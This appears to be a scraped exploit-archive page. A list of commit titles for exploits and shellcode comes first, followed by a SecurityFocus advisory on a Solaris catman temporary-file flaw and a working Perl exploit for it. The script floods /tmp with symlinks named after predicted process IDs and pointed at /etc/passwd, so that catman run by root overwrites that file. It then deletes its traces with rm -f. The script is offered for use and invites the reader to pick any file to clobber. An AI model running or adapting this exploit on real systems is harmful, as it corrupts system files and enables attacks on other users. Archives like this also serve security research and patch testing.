880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
58 lines
No EOL
2.6 KiB
Perl
Executable file
58 lines
No EOL
2.6 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/2149/info
|
|
|
|
catman is a utility for creating preformatted man pages, distributed as part of the Solaris Operating Environment. A problem exists which could allow local users to overwrite or corrupt files owned by other users.
|
|
|
|
The problem occurs in the creation of temporary files by the catman program. Upon execution, catman creates files in the /tmp directory using the file name sman_<pid>, where pid is the Process ID of the running catman process. The creation of a symbolic link from /tmp/sman_<pid> to a file owned and writable by the user executing catman will result in the file being overwritten, or in the case of a system file, corrupted. This makes it possible for a user with malicious intent to overwrite or corrupt files owned by other users, and potentially overwrite or corrupt system files. The Sun BugID for this issue is 4392144.
|
|
|
|
#!/usr/local/bin/perl -w
|
|
# The problem is catman creates files in /tmp insecurly. They are based on the
|
|
# PID of the catman process, catman will happily clobber any files that are
|
|
# symlinked to that file.
|
|
# The idea of this script is to create a block of symlinks to the target file
|
|
# with the current PID as a starting point. Depending on what load your
|
|
# system has this creates 1000 files in /tmp as sman_$currentpid + 1000.
|
|
# The drawback is you would have to know around when root would be executing
|
|
# catman.
|
|
# A better solution would be to monitor for the catman process and create the
|
|
# link before catman creates the file. I think this is a really small window
|
|
# however. This worked on a patched Solaris 2.7 box (August 2000 patch
|
|
# cluster)
|
|
# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
|
|
# lwc@vapid.betteros.org 11/21/2000 Vapid Labs.
|
|
# http://vapid.betteros.org
|
|
|
|
$clobber = "/etc/passwd"; #file to clobber
|
|
$X=getpgrp();
|
|
$Xc=$X; #Constant
|
|
$Y=$X+1000;#Constant
|
|
|
|
while($X < $Y) {
|
|
|
|
print "Linking /tmp/sman_$X to $clobber :";
|
|
# Change $clobber to what you want to clobber.
|
|
if (symlink ($clobber, "/tmp/sman_$X")) {
|
|
print "Sucess\n";
|
|
}
|
|
else { print "failed, Busy system?\n";}
|
|
$X=$X+1;
|
|
}
|
|
|
|
|
|
#Watch /tmp and see if catman is executed in time.
|
|
|
|
while(1) {
|
|
|
|
$list = "/usr/bin/ls -l /tmp | grep sman|grep root |";
|
|
|
|
open (list,$list) or "die cant open ls...\n";
|
|
|
|
while(<list>) {
|
|
@args = split "_",$_;
|
|
chop ($args[1]);
|
|
if ($args[1] >= $Xc && $args[1] <= $Y){
|
|
print "Looks like pid $args[1] is the winner\n cleaning....\n";
|
|
`/usr/bin/rm -f /tmp/sman*`;
|
|
exit(1);
|
|
}
|
|
}
|
|
} |